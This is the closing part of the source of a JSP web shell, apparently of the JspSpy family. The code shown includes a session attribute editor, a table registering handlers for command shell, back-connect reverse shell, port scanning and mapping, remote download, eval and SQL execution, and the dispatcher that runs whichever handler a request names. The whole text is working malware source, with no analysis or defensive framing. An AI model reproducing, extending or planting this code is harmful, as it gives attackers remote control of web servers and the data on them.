3178" name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
3179" </fieldset></form></li></ul></div></td>"+
3180" </tr>"+
3181" </table>");
3182} catch (Exception e) {
3183throw e ;
3184}
3185}
3186}
3187//Session Manager
3188private static class SmInvoker extends DefaultInvoker {
3189public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3190try {
3191String type = request.getParameter("type");
3192PrintWriter out = response.getWriter();
3193if (type.equals("update")) {
3194String name = request.getParameter("name");
3195String value = request.getParameter("value");
3196JSession.setAttribute(name,value);
3197JSession.setAttribute(MSG,"Update/Add Attribute Success !");
3198} else if (type.equals("delete")) {
3199String name = request.getParameter("name");
3200JSession.removeAttribute(name);
3201JSession.setAttribute(MSG,"Remove Attribute Success !");
3202}
3203((Invoker)ins.get("vother")).invoke(request,response,JSession);
3204} catch (Exception e) {
3205
3206throw e ;
3207}
3208}
3209}
3210
3211static{
3212ins.put("script",new ScriptInvoker());
3213ins.put("before",new BeforeInvoker());
3214ins.put("after",new AfterInvoker());
3215ins.put("deleteBatch",new DeleteBatchInvoker());
3216ins.put("clipboard",new ClipBoardInvoker());
3217ins.put("vPortScan",new VPortScanInvoker());
3218ins.put("portScan",new PortScanInvoker());
3219ins.put("vConn",new VConnInvoker());
3220ins.put("dbc",new DbcInvoker());
3221ins.put("executesql",new ExecuteSQLInvoker());
3222ins.put("vLogin",new VLoginInvoker());
3223ins.put("login",new LoginInvoker());
3224ins.put("filelist", new FileListInvoker());
3225ins.put("logout",new LogoutInvoker());
3226ins.put("upload",new UploadInvoker());
3227ins.put("copy",new CopyInvoker());
3228ins.put("bottom",new BottomInvoker());
3229ins.put("vCreateFile",new VCreateFileInvoker());
3230ins.put("vEdit",new VEditInvoker());
3231ins.put("createFile",new CreateFileInvoker());
3232ins.put("vEditProperty",new VEditPropertyInvoker());
3233ins.put("editProperty",new EditPropertyInvoker());
3234ins.put("vs",new VsInvoker());
3235ins.put("shell",new ShellInvoker());
3236ins.put("down",new DownInvoker());
3237ins.put("vd",new VdInvoker());
3238ins.put("downRemote",new DownRemoteInvoker());
3239ins.put("index",new IndexInvoker());
3240ins.put("mkdir",new MkDirInvoker());
3241ins.put("move",new MoveInvoker());
3242ins.put("removedir",new RemoveDirInvoker());
3243ins.put("packBatch",new PackBatchInvoker());
3244ins.put("pack",new PackInvoker());
3245ins.put("unpack",new UnPackInvoker());
3246ins.put("vmp",new VmpInvoker());
3247ins.put("vbc",new VbcInvoker());
3248ins.put("backConnect",new BackConnectInvoker());
3249ins.put("jspEnv",new JspEnvInvoker());
3250ins.put("smp",new SmpInvoker());
3251ins.put("mapPort",new MapPortInvoker());
3252ins.put("top",new TopInvoker());
3253ins.put("vso",new VOnLineShellInvoker());
3254ins.put("online",new OnLineInvoker());
3255ins.put("enter",new EnterInvoker());
3256ins.put("export",new ExportInvoker());
3257ins.put("ev",new EvalInvoker());
3258ins.put("eu",new EvalUploadInvoker());
3259ins.put("vother",new VOtherInvoker());
3260ins.put("sm",new SmInvoker());
3261ins.put("vExport",new VExport2FileInvoker());
3262ins.put("vPack",new VPackConfigInvoker());
3263ins.put("reflect",new ReflectInvoker());
3264ins.put("portBack",new PortBackInvoker());
3265}
3266%>
3267<%
3268try {
3269String o = request.getParameter("o");
3270if (Util.isEmpty(o)) {
3271if (session.getAttribute(SESSION_O) == null)
3272o = "index";
3273else {
3274o = session.getAttribute(SESSION_O).toString();
3275session.removeAttribute(SESSION_O);
3276}
3277}
3278Object obj = ins.get(o);
3279if (obj == null) {
3280response.sendRedirect(SHELL_NAME);
3281} else {
3282 Invoker in = (Invoker)obj;
3283if (in.doBefore()) {
3284String path = request.getParameter("folder");
3285if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
3286session.setAttribute(CURRENT_DIR,path);
3287((Invoker)ins.get("before")).invoke(request,response,session);
3288((Invoker)ins.get("script")).invoke(request,response,session);
3289((Invoker)ins.get("top")).invoke(request,response,session);
3290}
3291in.invoke(request,response,session);
3292if (!in.doAfter()) {
3293return;
3294}else{
3295((Invoker)ins.get("bottom")).invoke(request,response,session);
3296((Invoker)ins.get("after")).invoke(request,response,session);
3297}
3298}
3299} catch (Exception e) {
3300Object msg = session.getAttribute(MSG);
3301if (msg != null) {
3302Util.outMsg(out,(String)msg);
3303session.removeAttribute(MSG);
3304}
3305if (e.toString().indexOf("ClassCastException") != -1) {
3306Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
3307}
3308ByteArrayOutputStream bout = new ByteArrayOutputStream();
3309e.printStackTrace(new PrintStream(bout));
3310session.setAttribute(CURRENT_DIR,SHELL_DIR);
3311Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
3312bout.close();
3313out.flush();
3314((Invoker)ins.get("bottom")).invoke(request,response,session);
3315((Invoker)ins.get("after")).invoke(request,response,session);
3316}
3317%>